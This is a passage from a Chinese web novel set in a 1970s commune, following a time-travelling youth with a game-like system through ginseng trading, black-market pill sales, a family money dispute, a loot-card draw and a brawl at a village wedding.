赵虎嘿嘿一笑,献宝似的将手里的布包打开,一股浓郁的土腥味混合着药香瞬间弥漫开来。 布包里躺着的,赫然是一株巴掌大小、须根分明、形态酷似人形的野山参! “江沐兄弟,你给瞧瞧,这是我跟俺爹今儿一早在狼牙坡那边挖着的,运气好,嘿嘿。” 江沐接过那株山参,仔细端详着上面的芦头、纹路和须根,指尖轻轻捻过,感受着那份独有的质感。 “好东西!”江沐由衷地赞叹了一句,“虎子哥,你们这运气,真是绝了!” 他心里快速估算着,这株山参的年份,少说也有八十年了。 在后世,这品相的野山参,没有七位数根本拿不下来。 “江沐兄弟,这……这玩意儿值钱不?”赵虎搓着手,一脸期待,连呼吸都屏住了。 “值。”江沐点了点头,给出了一个很高的价钱,“品相不错,年份也足。你们要是信得过我,我出八十块钱,收了。” 八十块! 赵虎整个人都懵了。 他爹赵老汉更是浑身一颤,手里的旱烟杆都差点掉在地上。 院门口,几个还没走远、竖着耳朵听热闹的村民,更是惊讶不已。 八十块钱,我的乖乖,那得是普通工人小半年的工资了! “卖!卖!俺卖!”赵虎回过神来,想都没想就一口答应下来,生怕江沐反悔。 江沐笑了笑,进屋取了钱,当场点给了赵虎。 赵虎捧着那八张崭新的大团结,手抖得跟筛糠似的,感觉自己像是在做梦。 “虎子,你们家这下可发了!这人参是在哪儿挖的啊?也让大伙儿去碰碰运气呗?”一个村民艳羡地凑上来打听。 赵虎下意识地就想把话搪塞过去,这可是发财的道儿,哪能随便告诉别人? 可他还没开口,他爹赵老汉已经指了指后山的方向,朴实地开了口:“就在狼牙坡那片,挨着那棵歪脖子老松树底下,我们也是碰巧了。” 赵虎一听,脸都绿了,急得直瞪眼,可他爹已经说了,他也无可奈何,只能狠狠地剜了那多嘴的村民一眼。 得了准信儿的几个村民,一溜烟就往家里跑,准备抄上家伙也去山上碰碰运气。 赵老汉父子挖到八十年老山参,卖了八十块钱天价的消息,不到半个钟头就传遍了整个青莲公社二大队。 赵虎父子俩前脚刚走,后脚一个穿着碎花褂子,身形微胖的女人就一阵风似的冲进了江沐的院子。 来人是赵虎的大哥,赵龙的媳妇,王翠芬。 “他赵虎人呢?那八十块钱呢?”王翠芬双手叉腰,一双吊梢眼四下里扫视,声音尖利。 不等江沐开口,她就自顾自地嚷嚷开了:“我告诉你们,那人参是我们老赵家的!他赵虎想独吞?门儿都没有!那钱,必须分我们家一半!” 这话一出,刚散去没多久的村民又围了上来,看热闹是人的天性,尤其还是这种叔嫂争产的大戏。 刚走到村口的赵虎听到动静,气得转身就冲了回来。 “王翠芬,你放你娘的屁!人参是我跟俺爹挖的,凭啥分你一半?” “我呸!你个白眼狼!”王翠芬一口唾沫啐在地上,指着赵虎的鼻子就骂,“这些年你在我家吃了多少顿饭?喝了我家多少口水?现在发了财,翅膀硬了,就想翻脸不认人了?” “当初分家的时候,我哥赵龙把地里的粮食、家里的存款,连那两只下蛋的老母鸡都拿走了!就给我留了这三间破屋!” 赵虎气得眼睛都红了,额上青筋暴起,“你们答应过俺爹,供我一口吃的,怎么,现在想反悔了?” “反悔?老娘就是反悔了!”王翠芬脖子一梗,摆出了一副滚刀肉的架势,“我告诉你赵虎,今天这钱你要是不分我一半,往后我天天上你家闹!我看你这名声坏了,以后谁家姑娘还敢嫁给你!” 这话,无疑是戳中了赵虎的死穴。 “你个泼妇!老子今天打死你!” 赵虎扬起砂锅大的拳头,就朝着王翠芬的脸上挥了过去! “住手!” 一声苍老无力的怒喝响起。 赵老汉不知何时挤了进来,一把死死抱住了自己儿子的胳膊。 他颤抖着嘴唇,看了一眼撒泼的儿媳,又看了一眼暴怒的儿子,浑浊的老眼里几乎要滴出血来。 “还嫌不够丢人吗?啊?让全村人看我们老赵家的笑话!” 赵老汉喘着粗气,转向王翠芬,哀求道:“翠芬,你少说两句吧……就当,就当是爹求你了……” 随后,他猛地一咬牙,对着赵虎低吼出了一句让所有人都意想不到的话。 “给她!分她一半!” 赵虎猛地回头,布满血丝的双眼死死盯着自己的亲爹。 “爹!你说啥?!”赵虎的声音都在发颤,“那是我和您……辛辛苦苦从狼牙坡挖回来的!凭啥给她?!” 第102章 这价钱,公道得没边了 “就凭她是你大嫂!就凭你们是亲兄弟!”赵老汉老脸涨得通红,浑浊的眼睛里泛着水光。 他一把抓住赵虎的胳膊,指甲几乎要嵌进儿子的肉里,“还嫌不够丢人吗?让全村人看我们老赵家的笑话!你想让你哥回来戳我的脊梁骨吗?!” 说完,他松开赵虎,转向一脸得意的王翠芬。 “王翠芬,你听着!这钱,今天我们给你!但这是最后一次!”赵老汉声音不大,却十分决绝,“往后,赵虎是死是活,是娶媳妇还是打光棍,都跟你们大房再没半点关系!你要是再敢上门来闹,我……我就当没你这个儿媳妇!” 王翠芬被赵老汉眼里的凶光吓得缩了缩脖子,但一想到即将到手的钱,那点惧意瞬间烟消云散。 她撇了撇嘴,心里暗骂:老不死的,说得倒好听,等赵龙回来,看谁说了算! 赵虎胸口剧烈地起伏着,他看着父亲佝偻的背影,看着周围村民指指点点的目光,怒火最终化为无力感。 他从怀里掏出那沓还带着体温的大团结,面无表情地点了起来。 一张,两张,三张…… 他没有数四十块,而是数了三十块,猛地抽出来,狠狠地摔在王翠芬的脚下。 “滚!” 王翠芬愣了一下,看着地上那三十块钱,心里虽有些不甘,但见赵虎那副要吃人的模样,也不敢再多纠缠。 她飞快地弯腰捡起钱,胡乱塞进怀里,头也不回地挤出人群,一溜烟跑了。 闹剧收场,人群渐渐散去,只留下赵家父子俩。 江沐一直冷眼旁观,直到此刻,他才缓步上前,拍了拍赵虎的肩膀。 “虎子哥,别往心里去。家家有本难念的经。” 随后,他清了清嗓子,对着还没走远的几个村民扬声道。 “各位乡亲,我江沐今天把话放这儿。以后大家要是再从山上挖到山参,尽管拿到我这儿来!只要是货真价实的,我都收!” 他的话成功吸引了所有人的注意。 “百年以下的,按年份算,一年一块钱!这株八十年的,就值八十块!”江沐伸出手指,比划了一下,“要是超过一百年的,那价钱,咱们另算!绝不让大家吃亏!” 一年一块钱! 这价钱,公道得没边了! 所有人的眼睛都亮了。 夜幕降临,江沐刚准备关上院门,一个身影提着瓶酒、拿着两条烟,有些局促地站在门口。 是高建设。 “江沐兄弟,没……没打扰你吧?”高建设黝黑的脸上带着几分不好意思。 “建社哥,说这话就见外了,快进来!”江沐笑着将他迎了进来。 两人在院里的石桌旁坐下,高建设将烟酒推了过去,搓着手,半天没开口,一张脸憋得通红。 江沐给他倒了杯水,也不催促,静静地等着。 “那个……江沐兄弟,”高建设终于鼓足了勇气,声音低得不行,“我想……跟你借点钱。” “借钱?”江沐立刻应承下来,没有丝毫犹豫,“行啊,建设哥你开口就行。要多少?” 江沐的爽快让高建设心头一松,眼眶都有些发热。 他深吸一口气,“我要结婚了,我对象她……她家里要一辆自行车。我爹为了给我盖这三间新房,已经把家底都掏空了,我……我不能再让他老人家为难了。” 自行车! 这年头,这可是结婚三大件里最硬气的一件,一辆永久牌的自行车,要一百多块,还得要票,几乎是普通人家一整年的收入。 江沐二话没说,转身进屋。 片刻后,他走了出来,将一沓大团结拍在了高建设面前。 整整一百块。 “够吗?” 高建设的眼睛瞬间就红了,他看着桌上那厚厚的一沓钱,嘴唇哆嗦着,一个字都说不出来,只是一个劲儿地用力点头。 “建设哥,这事儿你知我知,别告诉第三个人。”江沐叮嘱了一句,“不然我这门槛,怕是要被踏破了。” “我懂!我懂!”高建设连忙点头,他站起身,对着江沐深深鞠了一躬,“江沐兄弟,这份恩情,我高建设记一辈子!” “行了,多大点事儿。”江沐拉他坐下,“正好我做了饭,喝两杯再走。” “不了不了,”高建设揣好钱,感觉那钱烫得心口发慌,一刻也待不住,“我得赶紧去托人买车票,迟了就没了!” 说完,他便一阵风似的走了。 第二天一早,高建设果然推着一辆崭新锃亮的永久牌自行车回了村,车把上还系着一朵大红花,引得全村人羡慕不已。 他爹高志强看着新车,又看看儿子脸上的喜气,什么也没问,只是默默地抽着旱烟。 他知道,盖了新房,再买自行车,小儿子高建国那边,心里怕是又要有想法了。 但他又能怎么办呢?手心手背都是肉,可家底就这么点。 转眼又到了周一。 杨小军的吉普车准时停在了知青点门口。 江沐将一个沉甸甸的布袋递给他:“一千颗,一颗不少。” 杨小军接过,脸上乐开了花,他压低声音:“兄弟,价格你想好了吗?我寻思着,咱们就卖八块钱一颗,怎么样?我拿两成四的利,你拿五块六。” 江沐却摇了摇头。 “杨哥,八块钱的价格不变。”他伸出手指,“但我拿五块,你拿三块。” “这怎么行!”杨小军一听就急了,“三块?这……这也太多了!我就是跑跑腿,哪能拿这么多!” “杨哥,你不是跑腿,你是渠道。”江沐笑了笑,眼神真诚,“再说,上次你送我的那棵老山参,我赚的就已经够多了。咱们是兄弟,是合伙人,有钱一起赚,这生意才能做得长久。” 一番话说得杨小军心里热乎乎的,他不再推辞,重重地拍了拍江沐的肩膀:“好兄弟!哥记下了!” 送走杨小军,江沐也骑上自行车,马不停蹄地去了公社。 他先是给周志康书记和卫生院的李院长一人送去一小包滋补丹,又拐到派出所,给那位有过一面之缘的所长也送了一份。 剩下的几百颗,他一股脑全给了供销社的孙阳,让他看着在公社里倒腾。 人情走动,关系铺路,江沐深谙此道。 而就在青莲公社因为各种新鲜事闹得沸沸扬扬之时。 千里之外的京城,一座机关大院里。 一大清早,刚从医院值夜班回来的江东山,在传达室拿到了来自陕州的一封信。 看到信封上那既熟悉又陌生的字迹时,他的心猛地一跳,拿着信的手都开始微微颤抖。 是儿子江沐的来信! 他三步并作两步地回到家,连口水都来不及喝,就迫不及待地撕开了信封…… 第103章 以后跟着哥,就享福吧 江东山拿着信纸的指尖泛着苍白,仅有几行报平安的字。 信上说,他在陕州一切都好,吃得饱,穿得暖,和乡亲们、知青们相处融洽,让家里不必挂念,还说已经娶了媳妇。 字里行间,客气、疏离,更没有一句求助。 他这个做父亲的,究竟有多失败,才会让儿子在外面吃了天大的苦,也只肯报一声平安? 他将信纸小心翼翼地折好,揣进胸口的口袋。 中午,饭桌上。 苏红霞夹了一筷子肥瘦相间的红烧肉,放进亲儿子江守成的碗里,脸上堆着笑:“守成,多吃点,学习累,得补补。” 江东山放下筷子。 “我……刚收到了沐儿的信。” 苏红霞眼皮都没抬:“哦?那孩子还知道给家里写信?没给你添麻烦吧?” 江东山胸口一闷,压着火气:“信上说都挺好,但我……我寻思着,陕州那地方苦,孩子刚去,手里肯定没钱,咱们是不是该给他寄点过去?” “寄钱?”苏红霞终于停下筷子,冷声道,“老江,你是不是忘了咱家什么情况?守成马上要升高中,哪样不要钱?我娘家那边,侄子结婚,不得随份子?家里米缸都快见底了,哪还有闲钱给他寄?” 她的话让江东山找不到反驳的方法。 “可沐儿他……” “他怎么了?”苏红霞筷子拍在桌上,吓得江守成一哆嗦,“他一个大小伙子,有手有脚的,在乡下还能饿死不成?现在你倒心疼了?当初干什么去了?” 江东山被她一通抢白,却一个字也反驳不出来。 是啊,当初……当初他但凡能硬气一点,儿子又怎么会走到这一步。 看着丈夫这副窝囊样,苏红霞心里冷笑一声,叹了口气:“老江,我知道你心疼孩子。可咱们也得过日子不是?” 一顿饭,吃得死气沉沉。 下午,江东山一到医院,就找到了自己的老同事,外科的张主任。 “老张,能不能……先借我两百块钱?我……家里有点急用。”他一张老脸涨得通红。 张主任二话没说,从抽屉里数出两百块钱递给他。 攥着那沓钱,江东山的心又酸又涩。他躲在办公室里,颤抖着手,给儿子回了一封信。 信里,他没多说什么,只是反复叮嘱他要注意身体,别亏待自己。 连同那两百块钱,一并塞进了信封。 …… 一周后,青莲公社。 杨小军的绿色吉普车卷着黄土,又一次停在了知青点门口。 他跳下车,熟门熟路地指挥着手下人将一袋袋晒干的药材搬上车。 “江沐兄弟,药材的钱,两千块,你点点。”杨小军将一个厚实的信封递了过去。 随后,他又从另一个口袋里掏出一个更厚的,脸上带着一丝兴奋的神秘。 “这是上个礼拜一千颗滋补丹的钱,卖得太火了,我先给你结三千,剩下两千我下礼拜带过来。” 江沐接过钱,掂了掂,眉毛一挑:“卖得这么快?” “何止是快!”杨小军压低了声音,“兄弟,你这玩意儿简直就是硬通货!黑市里那些倒爷抢疯了!我估计,按这个速度,最多再有一个月,我手里的货就全放出去了!” 江沐沉声道:“杨哥,悠着点。这东西毕竟来路不明,真要是被人盯上,查下来不是小事。” “怕啥!”杨小军满不在乎地一挥手,拍着胸脯保证,“我爹早就把县里上下的关系都打点通了,天塌不下来!” 看着杨小军那副信心满满的样子,江沐也不再多劝。 送走吉普车,江沐转身回到院里,将那装着三千块钱的信封直接递给了正在晾晒草药的张小月。 “小月,这个你收着。” 张小月愣了一下,擦了擦手,疑惑地接过来。 当她打开信封,看到里面那厚厚钱时,整个人都僵住了,手一抖,信封差点掉在地上。 “江……江沐哥……这……这得有多少钱啊?!”她的声音都在发颤这辈子,现在这三千块,对她来说简直就是个天文数字! “三千。”江沐的语气云淡风轻。 “三……三千?!”张小月手忙脚乱地把钱塞回信封,“哥,这……这么多钱,够咱们花一辈子了吧!你……你也太厉害了!” 那一瞬间,她看向江沐的眼神里,除了震惊,更多的是一种敬佩。 【叮!收到来自张小月的敬佩,声望值+5!】 江沐笑了笑,揉了揉她的头发:“傻丫头,以后跟着哥,就享福吧。” “不行不行,”张小月把信封紧紧抱在怀里,小脸涨得通红,“这钱不能乱花,得……得存起来!存到公社的信用社去!” “好,都听你的。”江沐点头同意。 …… 很快,就到了高建设结婚的大喜日子。 整个村子都洋溢着喜气,高家院子里人声鼎沸。 江沐一大早就关了门,过来帮忙。 到了晚上,婚宴开始,李有柱扯着大嗓门开始分派任务,当他看到江沐时,眼睛一亮,大手一挥。 “江沐!记账收礼的活儿就交给你了!” 登记礼簿,这可是个肥差,也是个信任的体现。 江沐笑着应下,坐在八仙桌后,摊开红纸,提起毛笔。 高建设穿着一身崭新的蓝布中山装,胸口别着大红花,过来敬酒。 江沐给他倒了杯酒,随口问道:“建设哥,还没问你呢,嫂子是哪儿人啊?” 高建设挠了挠头,有些不好意思:“李家村的,我俩……我俩在公社上中学那会儿就认识了。” 夜深了,宾客散尽。 江沐回了家,浑身沾满了喜气和酒气,倒头就睡。 也不知过了多久,他被一阵尿意憋醒。 迷迷糊糊地去院子角落解决了问题,回来后却没了半点睡意。 江沐索性坐了起来,心念一动。 “系统。” 【在呢,宿主。】 一道只有他能看见的蓝色光幕在眼前展开。 声望值那一栏,数字已经悄然变成了:1537。 一千五百多点声望! 可以来一发十连抽了! 他深吸一口气,强迫自己冷静下来。 意念集中在商城界面那金光闪闪的十连抽按钮上。 “给我出货!” 瞬间,眼前的光幕上,十张卡牌化作一道流光漩涡,疯狂旋转起来,光芒四射。 光芒渐渐散去,一张张卡牌接连翻开。 连续五道白光闪过,江沐的心凉了半截。 就在他以为这次要血本无归时,异变陡生。 一道金色光芒冲天而起。 还没等江沐从金光的震撼中回过神来,一道赤红色光柱出现。 光芒散尽,十张卡牌静静地悬浮在空中。 一个红!一个金!三道蓝!五抹白! 第104章 系统你怎么不去抢? 江沐的呼吸几乎停滞了,这种级别的爆率,前世玩遍所有抽卡游戏都未曾见过! 他的意念首先落在了那五张最不起眼的白色卡牌上。 肥皂一块,毛巾一条,的确良袜子一双。 …… 果然,还是一如既往的鸡肋。 江沐的嘴角抽了抽,对这些生活用品已经习以为常,随手将它们扔进了系统的储物格。 他的目光随即转向那三道湛蓝色的光芒,心跳开始加速。 【恭喜宿主获得:精钢剁骨刀一把。】 【恭喜宿主获得:技能·汽车驾驶(初级)。】 【恭喜宿主获得:声望值150点。】 剁骨刀?这玩意儿倒是实用,以后收拾猎物或者防身都用得上。 汽车驾驶技能……在这连拖拉机都少见的青莲公社,暂时派不上用场,但也算是个未来的储备。 至于那150点声望,蚊子腿再小也是肉。 江沐压下心中的躁动,视线缓缓上移,最终定格在那道璀璨夺目的金色光芒上! 【恭喜宿主获得:大师级刀具精通!】 一股庞大的信息流瞬间涌入江沐的脑海! 从手术刀的精微操作,到剔骨刀的庖丁解牛;从刻刀的入木三分,到闸刀的力劈华山……古今中外,所有带刀字的工具的使用技巧、发力方式、心得感悟,在这一刻尽数烙印在他的灵魂深处! 好强大的技能! 他深吸一口气,将最后的目光投向了那道霸道无匹的赤红色光柱! 【恭喜宿主获得:天机卜卦器!】 【简介:可推演过去,窥探未来。使用需支付相应声望值,卜算对象因果越重,所需声望越高。】 江沐震惊。 卜卦器?推演未来?这简直就是逆天的东西! 他毫不犹豫地选择了绑定。 【绑定成功!】 江沐迫不及待地想要试试这神器的威力,心念一动:“系统,为我卜算一次未来。” 【卜算对象:江沐。所需声望值:十万点。】 “咳……”江沐差点被自己的口水呛到。 十万点?系统你怎么不去抢?! 他现在全部身家加起来,连个零头都凑不够。 看来算自己是没指望了。 他的脑海中闪过一个身影。 “系统,卜算张小月的生平。” 【卜算对象:张小月。所需声望值:500点。是否继续?】 五百点,这个价格还在承受范围之内。 “继续!” 话音刚落,卜卦器化作一道流光,在他眼前展开一幅水墨画卷。 【张小月,女,16岁。生于陕州邹县张家村,家中排行老二,上有一兄,下有一弟……】 画卷上的文字清晰地记录着小丫头的过往,一桩桩一件件,很精准。 就在他以为会一直看到未来时,画卷的末尾,字体突然变得模糊扭曲,最后化作一行刺眼的红色警告。 【警告:因未知能量干扰,本次卜卦失败!如需重新卜算,需支付声望值:88000点!】 “什么玩意儿?!”江沐的火气一下就上来了,“失败了还敢要钱?退款!立刻给老子退款!” 系统冰冷的机械音毫无波澜。 【卜卦已消耗,概不退还。】 江沐气得差点吐血,这系统简直比黑市的倒爷还黑! 他强迫自己冷静下来,仔细思索。 未知能量干扰?难道是因为小丫头的命运从遇到自己的那一刻起,就发生了偏转,所以才无法推算? 极有可能! 自己的存在,对于这个世界来说,本身就是最大的变数。 看来这卜卦器虽然逆天,限制也不小。 江沐打定主意,改天找个和自己没什么交集的村民试试,看看是不是这个原因。 他将抽到的东西分门别类地归置好,看了一眼窗外,天色已经蒙蒙亮。 估摸着时间差不多四点多,江沐起身走到隔壁,轻轻敲了敲门。 “小月,醒醒,该去高家帮忙了。” …… 高建设家在村东头,他父亲正是青莲公社的一把手,书记高志强。 江沐和张小月赶到的时候,高家大院里早已是人声鼎沸,炊烟袅袅,浓郁的饭菜香气和鞭炮燃烧后的硫磺味混杂在一起,充满了喜庆的味道。 院子里,村里的妇女们正热火朝天地洗菜、切肉,男人们则负责劈柴、烧火,搬运桌椅板凳,一派繁忙景象。 高建设今天收拾得格外精神,一身崭新的蓝布中山装,头发梳得油光锃亮,胸前一朵大红花,衬得他黝黑的脸庞都泛着红光,咧着嘴见人就笑。 接亲的队伍很快就准备妥当,在一阵鞭炮声中浩浩荡荡地出发了。 李有柱嗓门洪亮地指挥着现场,一看到江沐,立马把他拉了过来。 “江沐,你小子别跟着瞎转悠了!来,这收礼记账的活儿就交给你了!” 江沐笑着应下。 接亲队伍一走,他便和李有柱在院门口支起一张八仙桌,铺上红纸,研好墨。 村里人、高家的亲戚朋友们,陆陆续续地围了上来,开始上礼。 “高家三叔,礼金两块!” “柱子他二婶,鸡蛋二十个!” “王木匠,布料一丈二!” 江沐手腕翻飞,一个个名字和礼品被他用一手漂亮的毛笔字记录在册,引来周围人阵阵惊叹。 一直忙活到上午九点多,村口再次响起了喧天的锣鼓和鞭炮声。 高建设把新媳妇娶回来了! 江沐抬眼望去,只见高建设小心翼翼地扶着一个盖着红盖头的新娘子下了自行车。 新娘子身边,还跟着一位五十岁上下的中年男人,穿着一身干部服,虽然脸上带着笑,但眉宇间自有一股威严。 江沐觉得这人有些眼熟,好像在公社开大会时见过。 他碰了碰身边的李有柱:“柱子叔,新娘子的爹,是公社的干部?” 李有柱瞥了一眼,压低了声音:“那可不!公社放映科的主任,李保军!我听老书记说,老李就这么一个宝贝闺女,以后打算让建设跟着他学放电影呢!” 江沐心中一动。 学放电影?在这个娱乐生活极度匮乏的年代,电影放映员可是个顶顶风光的职业,走到哪儿都被人当成贵客。 他看着满面春风的高建设,不由得在心里感慨一句。 这家伙,这次可真是双喜临门,不仅娶了媳妇,还顺带捞了个铁饭碗! 第105章 这事儿,必须给个说法 喜宴正式开席,院子里支起的十几张八仙桌座无虚席。 高志强这次是真下了血本,桌上摆满了硬菜,油汪汪的红烧肉用大土碗装着,金黄的炸丸子堆成了小山,还有整只的烧鸡,飘散着让人垂涎三尺的浓香。 这阵仗,比起江沐那会儿的婚宴,有过之而无不及。 乡亲们推杯换盏,喧闹的笑语和划拳声汇成一片,将婚礼的气氛推向了高潮。 江沐正低头扒拉着碗里的饭,冷不防,不远处的一桌猛地炸起一声怒骂! “你个狗东西长没长眼?菜汤都洒老子身上了!” 紧接着,便是瓷碗摔在地上的脆响,瞬间压过了所有的嘈杂。 整个院子为之一静,所有人的目光齐刷刷地投了过去。 只见一个穿着衬衫、喝得满脸通红的陌生男人,正指着一个年轻人的鼻子破口大骂。 那孩子江沐认得,是村里的林有乐,今天过来帮忙端菜的。 林有乐不过十六七岁,正是血气方刚的年纪,哪受得了这般当众的羞辱,脖子一梗就顶了回去:“是你自己伸手撞上来的,赖谁?” “嘿!你个小瘪三还敢还嘴?”那男人借着酒劲,愈发嚣张,一把推在林有乐的胸口。 高志强脸色一沉,立刻起身,大步流星地赶了过去。 “咋回事咋回事?大喜的日子,有话好好说!” 然而,酒壮怂人胆。 那男人见高志强过来,非但没有收敛,反而一把抄起身旁的二锅头酒瓶,就朝着林有乐的脑袋砸了下去! 一声闷响,让人心头发颤。 “啊!” 林有乐惨叫一声,捂着头蹲了下去,鲜血顺着他的指缝瞬间就淌了下来,染红了半边脸。 “糟了!”江沐心头一沉,职业本能让他瞬间弹起,三步并作两步就冲了过去。 他一把拨开挡在前面的人,厉声喝道:“都别动他!” 与此同时,摸到自己脸上温热黏腻液体的林有乐,整个人都懵了。 他摊开手掌,看着满手的猩红,立刻怒了,“我操你娘!” 他抄起手边上菜用的厚实木盘,不顾一切地朝着那个打人的亲戚就抡了过去! 这一击,又快又狠! 高志强正好挡在两人中间,想要拉开那个醉醺醺的亲戚,压根没料到林有乐会暴起反击。 他只觉得胳膊上一阵剧痛传来,整个人踉跄着后退了两步。 “有乐!住手!” 李有柱此时也反应过来,从后面死死箍住了状若疯狂的林有乐,将两人强行分开。 场面瞬间乱成了一锅粥。 江沐已经蹲下身,沉着冷静地检查着林有乐的伤口:“别乱动!口子不深,就是看着吓人!” 他从随身的布包里迅速掏出消毒纱布和绷带,手法娴熟地为林有乐进行紧急包扎。 高志强捂着被打疼的胳膊,也顾不上自己,焦急地凑过来:“小江,有乐他……没事吧?” 林有乐咬着牙,额头上青筋暴起,从牙缝里挤出两个字:“没事!” 话音未落,一个愤怒的声音从人群外传来。 “流了这么多血,叫没事?!高书记,我敬你是领导,要不是看在建设今天大喜的日子,我今天非得扒了他的皮!” 林有乐的父亲林健康拨开人群,冲了进来,看到儿子满脸是血的样子,眼睛瞬间就红了。 他指着那个还兀自嘟囔的醉汉,胸膛剧烈起伏。 “今天,我们不闹,不能砸了建设的婚礼。这事儿,必须给个说法!” 高志强一张老脸涨得通红,又是羞愧又是恼火。 他猛地转身,对着新亲家那边,声音里带着压抑的怒气:“保军兄弟,你看这……” 新娘的父亲李保军也是一脸尴尬,连忙上前,先是拉了那醉汉一把,随后满脸歉意地对着林健康拱手:“老哥,对不住,真对不住!是我这边的亲戚喝多了,混账东西!你放心,该怎么赔,我们绝不含糊!” 高志强深吸一口气,压下火气,转头看向林有乐:“有乐,你看这事儿……叔给你赔十块钱,给你压压惊,行不?” 十块钱! 这在七零年,对于一个农村家庭来说,可不是一笔小数目了。 林有乐攥紧了拳头,最终还是点了点头。 “行了,江沐,你先带他去卫生室好好处理一下。”高志强吩咐道。 江沐应了一声,扶着林有乐离开了乱糟糟的院子。 到了卫生室,他一边用碘酒仔细地给林有乐清洗伤口,一边低声问:“到底怎么回事?” 林有乐的火气消了大半,委屈道:“我上菜的时候,胳膊肘不小心蹭了他一下,他就开始骂骂咧咧,我气不过,就回了两句,然后……然后就打起来了。” 江沐暗自摇头,就为这点屁大的事儿,差点闹出人命。 这个年代的人,生活压抑,自尊心却格外的强。 等他处理好伤口,带着林有乐回到高家大院时,李有柱立刻迎了上来,压低了嗓门:“有乐没事了吧?” “皮外伤,养两天就好。”江沐答道。 他的目光随即被院子另一头吸引。 只见新郎官高建设,正被几个年轻人死死拉着,脸色铁青,瞪着那个打人的亲戚。 江沐挑了挑眉:“那是怎么了?” 李有柱啐了一口:“他娘的,建设刚才差点就跟那孙子干起来了!自己大喜的日子,总不能让他动手吧,不然以后在岳父家咋抬头?” 经过这么一闹,娘家那边的亲戚一个个脸上都挂不住。 而那个打人的罪魁祸首,酒醒了大半,被李保军训得狗血淋头,却还梗着脖子。 李保军唉声叹气地走到高志强面前,老脸臊得通红:“老哥,真对不住,给你添麻烦了,我这张老脸都丢尽了!” “喝酒上头,谁都有冲动的时候。”高志强摆了摆手,示意他别放在心上。 最终,这场闹剧以娘家亲戚的提前离席而告终。 送走了尴尬的亲家,高志强重新招呼着村里人坐下吃饭。 可他目光一扫,却发现林健康一家三口的座位空了。 他心里暗道一声不好,连忙对自己另一个儿子高建国喊道:“建国!快,去把你林叔一家请回来!就说我忙昏头了,让他们千万别往心里去!” 高建国应了一声,撒腿就往村里跑。 不一会儿,他就拉着还有些不情不愿的林健康一家三口回来了。 高志强立刻端着酒杯迎了上去,脸上堆满了歉意:“老林,你看我这脑子,今天事儿一多就乱了套!怠慢了,真是怠慢了!来来来,快上座,这杯酒,我给你赔罪!” 林健康也不是不识好歹的人,见高志强把姿态放得这么低,心里的那点疙瘩也解开了。 他叹了口气,接过酒杯:“书记你言重了,快坐。” 第106章 高家爷仨,整整齐齐,全被放倒 林健康坐到座位上,一双眼睛扫过桌上被众人风卷残云后剩下的残羹冷炙,心里那股刚压下去的窝囊火,又蹿了起来。 这叫什么事儿?儿子被人开了瓢,最后还得回来吃别人剩下的? 他嘴唇动了动,刚要发作,高志强一个箭步跨了过来,直接拉住他的胳膊。 “老林,弟妹,有乐!来来来,都别坐这儿了!今天是我高志强招待不周,委屈你们了!” 他冲着院里还没走的几个半大小子一挥手,“去,把里屋那张新桌子抬出来!再让厨房把留的硬菜都端上来!” 这番操作,给足了林健康面子。 一张全新的八仙桌,几样还冒着热气的硬菜,这已经不是赔罪,而是捧着了。 林健康心里的那点疙瘩,瞬间烟消云散。 他也是个要脸面的人,见高志强姿态做到这份上,再抓着不放就显得小家子气了。 他叹了口气,端起酒杯:“书记,你这……” 话没说完,高建设领着他那脸颊绯红的新媳妇宋莹,端着酒杯走到了跟前。 “林叔,婶儿,有乐!”高建设一脸的愧疚地鞠了个躬,“今天这事儿,都怪我!是我没招待好,让你受委屈了,我给你赔不是!” 宋莹也跟着丈夫,怯生生地欠了欠身子:“对不住了。” 林有乐平日里跟高建设玩得最好,见他这样,心里哪还有气。 他挠了挠后脑勺,还有些不好意思:“建设哥,你这说的啥话,不赖你!就是……就是你这大喜的日子见了血,我心里不得劲,怕给你冲了喜气。” “你他娘的再说这话,就是往我高建设脸上扇巴掌!”高建设眼眶一红,一把搂住林有乐的肩膀,“自家兄弟,说这些!这杯酒,哥干了!” 说罢,一仰脖,一杯辛辣的二锅头灌进了喉咙。 这场闹剧,才算真正画上了句号。 酒席散去,高志强指挥着婆姨们,将桌上的剩菜用带来的瓦罐、饭盒分给还没走的乡亲们,这年头,谁家也不富裕,这点油水可不能浪费。 江沐冲着不远处还在和几个妇女聊得火热的张小月喊了一声:“小月,该回了。” 一个快嘴的婶子立刻打趣起来:“哟,江知青这就等不及啦?小月才跟我们聊几句,你就催上了,管得可真严实!” “就是就是,小俩口黏糊着呢!” 哄笑声中,张小月的脸一下红到了耳根。 江沐却神色坦然,笑道:“婶子们眼神就是好,那小月就拜托你们多照顾了。” 他这不闪不避、大方承认的态度,反倒让那帮爱开玩笑的妇女们没了下文,只一个劲儿地夸江沐是个有担当的好后生。 张小月低着头,小声嘟囔:“你……你再等我会儿,我跟婶子们说说话就回。” “行,不急。”江沐点点头,转身将几块啃剩下的骨头用一张大荷叶包好,准备带回去给虎虎和生威打打牙祭。 夜幕降临,高建设就摸黑找了过来。 “江沐,小月妹子,走走走,上我家吃饭去!今天下午乱糟糟的,都没喝好,晚上就咱们自己人,好好喝点!” 江沐他们到的时候,高家院里已经重新摆开了三桌,都是村里的主心骨和跟高家关系近的年轻人。 江沐一眼就看到了李有柱旁边的李振国,便挨着他坐了下来。 酒过三巡,菜过五味。 江沐端起满满一碗酒,径直走到了高建设面前,笑道。 “建设哥,我结婚那天,你可没少灌我吧?今天,也该轮到我好好照顾照顾你了!” 一场复仇之战,就此拉开序幕! 江沐开了头,李振国立刻心领神会,和几个小年轻一拥而上,对着新郎官开始了疯狂的车轮战。 高建设本就有些酒意,哪里经得住这般猛攻,没出半小时,就双眼迷离,舌头打结,被他媳妇宋莹扶着败下阵来。 “下一个!”江沐振臂一呼,目光如鹰隼般锁定了高建设的弟弟,高建国。 又是一轮混战。 高建国比他哥哥能撑,但也架不住人多势众,最终抱着桌子腿,开始说起了胡话。 众人的目光,不约而同地,落在了桌上唯一还清醒的高家人——高志强身上。 高志强哭笑不得,指着江沐他们,一脸的无奈:“好家伙,你们这帮小兔崽子,是打算今天把我们爷儿仨全撂倒在这儿啊!” “书记这话说的!”李有柱放下酒碗,站了起来,红着脸加入了战团,“你家大喜的日子,我们当叔伯的,能不表示表示?” 林健康也端着酒杯凑了过来。 战局瞬间升级! 不到十点,高家爷仨,整整齐齐,全被放倒。 院子里充满了胜利的欢呼声。 江沐正觉得心满意足,冷不防,身旁的李振国将一个盛满白酒的大碗,顿在他面前。 “江沐!”李振国的眼神带着几分酒劲上了头的执拗,“他们都喝了,就你了!这碗,你要是不干,就是瞧不起我李振国!” 